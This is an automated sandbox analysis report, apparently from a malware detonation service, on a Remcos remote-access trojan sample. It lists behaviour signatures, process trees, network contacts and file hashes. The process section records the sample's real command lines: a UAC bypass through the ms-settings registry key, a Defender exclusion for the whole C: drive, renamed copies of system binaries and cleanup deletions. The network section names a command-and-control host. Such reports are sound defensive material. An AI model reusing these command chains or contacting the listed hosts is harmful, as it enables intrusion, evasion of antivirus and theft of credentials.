Malware Analysis Report

2024-11-13 18:47

Sample ID 240725-j3696azgqa
Target MalwareBazaar.10
SHA256 09319f07c4b99a145ac12b7339445f6c6493db1c28a592acb32ae464a6d32c13
Tags
remcos remotehost discovery persistence rat collection credential_access stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

09319f07c4b99a145ac12b7339445f6c6493db1c28a592acb32ae464a6d32c13

Threat Level: Known bad

The file MalwareBazaar.10 was found to be: Known bad.

Malicious Activity Summary

remcos remotehost discovery persistence rat collection credential_access stealer

Remcos

Detected Nirsoft tools

NirSoft MailPassView

NirSoft WebBrowserPassView

Credentials from Password Stores: Credentials from Web Browsers

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Adds Run key to start application

Accesses Microsoft Outlook accounts

Suspicious use of SetThreadContext

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

System Network Configuration Discovery: Internet Connection Discovery

Modifies system certificate store

Suspicious use of SendNotifyMessage

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Runs ping.exe

Script User-Agent

Modifies registry class

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-25 08:12

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-25 08:12

Reported

2024-07-25 08:15

Platform

win7-20240704-en

Max time kernel

146s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"

Signatures

Remcos

rat remcos

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\Hkkjfzvo = "C:\\Users\\Public\\Hkkjfzvo.url" C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2676 set thread context of 3024 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ovzfjkkH.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2676 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 2676 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 2676 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 2676 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 2676 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 2676 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 3024 wrote to memory of 2468 N/A C:\Users\Public\Libraries\ovzfjkkH.pif C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 2468 N/A C:\Users\Public\Libraries\ovzfjkkH.pif C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 2468 N/A C:\Users\Public\Libraries\ovzfjkkH.pif C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 2468 N/A C:\Users\Public\Libraries\ovzfjkkH.pif C:\Windows\system32\cmd.exe
PID 2468 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2468 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2468 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2468 wrote to memory of 1492 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 1492 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 1492 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2408 wrote to memory of 1952 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2408 wrote to memory of 1952 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2408 wrote to memory of 1952 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2468 wrote to memory of 2948 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2948 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2948 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2948 wrote to memory of 1708 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2948 wrote to memory of 1708 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2948 wrote to memory of 1708 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2468 wrote to memory of 824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 824 wrote to memory of 1468 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 824 wrote to memory of 1468 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 824 wrote to memory of 1468 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2468 wrote to memory of 2556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2556 wrote to memory of 2812 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2556 wrote to memory of 2812 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2556 wrote to memory of 2812 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2812 wrote to memory of 1348 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2812 wrote to memory of 1348 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2812 wrote to memory of 1348 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1348 wrote to memory of 1476 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1348 wrote to memory of 1476 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1348 wrote to memory of 1476 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2468 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2324 wrote to memory of 2140 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2324 wrote to memory of 2140 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2324 wrote to memory of 2140 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2468 wrote to memory of 2120 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2120 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2120 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2120 wrote to memory of 2016 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2120 wrote to memory of 2016 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2120 wrote to memory of 2016 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2468 wrote to memory of 2096 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2096 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2096 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe

"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"

C:\Users\Public\Libraries\ovzfjkkH.pif

C:\Users\Public\Libraries\ovzfjkkH.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7B86.tmp\7B87.tmp\7B88.bat C:\Users\Public\Libraries\ovzfjkkH.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\\Users\\Public\\Libraries\\Hkkjfzvo.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 2010.filemail.com udp
ES 50.7.82.90:443 2010.filemail.com tcp
ES 50.7.82.90:443 2010.filemail.com tcp
US 8.8.8.8:53 nnamoo.duckdns.org udp
MY 103.186.116.62:59321 nnamoo.duckdns.org tcp
MY 103.186.116.62:59321 nnamoo.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
N/A 127.0.0.1:59321 tcp

Files

memory/2676-0-0x0000000000220000-0x0000000000221000-memory.dmp

memory/2676-1-0x0000000000220000-0x0000000000221000-memory.dmp

memory/2676-2-0x0000000000400000-0x000000000050C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab76D7.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar7728.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

\Users\Public\Libraries\ovzfjkkH.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/3024-48-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3024-47-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3024-45-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7B86.tmp\7B87.tmp\7B88.bat

MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2812-79-0x000000001AF00000-0x000000001B1E2000-memory.dmp

memory/2812-80-0x00000000023D0000-0x00000000023D8000-memory.dmp

\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

memory/3024-101-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3024-99-0x0000000000400000-0x0000000001400000-memory.dmp

memory/1208-110-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-109-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-108-0x0000000002270000-0x0000000003270000-memory.dmp

memory/1208-112-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-113-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-114-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-115-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-116-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-117-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-119-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-121-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-120-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-122-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-123-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-124-0x000000001B180000-0x000000001B199000-memory.dmp

memory/1208-128-0x000000001B180000-0x000000001B199000-memory.dmp

memory/1208-127-0x000000001B180000-0x000000001B199000-memory.dmp

memory/1208-129-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-130-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-131-0x000000001ABA0000-0x000000001AC22000-memory.dmp

memory/1208-132-0x000000001ABA0000-0x000000001AC22000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-25 08:12

Reported

2024-07-25 08:15

Platform

win10v2004-20240709-en

Max time kernel

147s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"

Signatures

Remcos

rat remcos

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Detected Nirsoft tools

Description Indicator Process Target
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NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation C:\Users\Public\Libraries\ovzfjkkH.pif N/A
Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\SndVol.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Hkkjfzvo = "C:\\Users\\Public\\Hkkjfzvo.url" C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4100 set thread context of 4020 N/A C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\Users\Public\Libraries\ovzfjkkH.pif
PID 3484 set thread context of 3208 N/A C:\Windows\SysWOW64\SndVol.exe C:\Windows\SysWOW64\SndVol.exe
PID 3484 set thread context of 3472 N/A C:\Windows\SysWOW64\SndVol.exe C:\Windows\SysWOW64\SndVol.exe
PID 3484 set thread context of 3552 N/A C:\Windows\SysWOW64\SndVol.exe C:\Windows\SysWOW64\SndVol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ovzfjkkH.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f1594830216